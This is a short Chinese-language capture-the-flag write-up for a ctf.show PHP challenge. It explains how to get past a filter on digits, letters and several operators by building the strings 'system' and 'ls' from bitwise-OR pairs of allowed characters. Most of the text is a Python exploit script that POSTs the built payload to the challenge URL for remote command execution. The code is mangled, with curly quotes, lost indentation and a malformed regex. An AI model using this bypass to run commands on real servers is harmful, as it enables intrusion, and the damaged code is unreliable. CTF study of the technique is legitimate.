过滤了所有数字和大小写字母
全过滤只有一种解法,就是构造字符串
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符
其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符
脚本:
import re
import requests
url=”http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080“
a=[]
ans1=””
ans2=””
for i in range(0,256):
c=chr(i)
tmp = re.match(r’[0-9]|[a-z]|\^|+|~|\$|[|]|{|}|\&|-‘,c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)
# eval(“echo($c);”);
mya=”system” #函数名 这里修改!
myb=”ls” #参数
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1=”(\””+ans1+”\”|\””+ans2+”\”)”
ans1=””
ans2=””
for k in range(0,len(myb)):
myfun(k,myb)
data2=”(\””+ans1+”\”|\””+ans2+”\”)”
data={“c”:data1+data2}
r=requests.post(url=url,data=data)
print(r.text)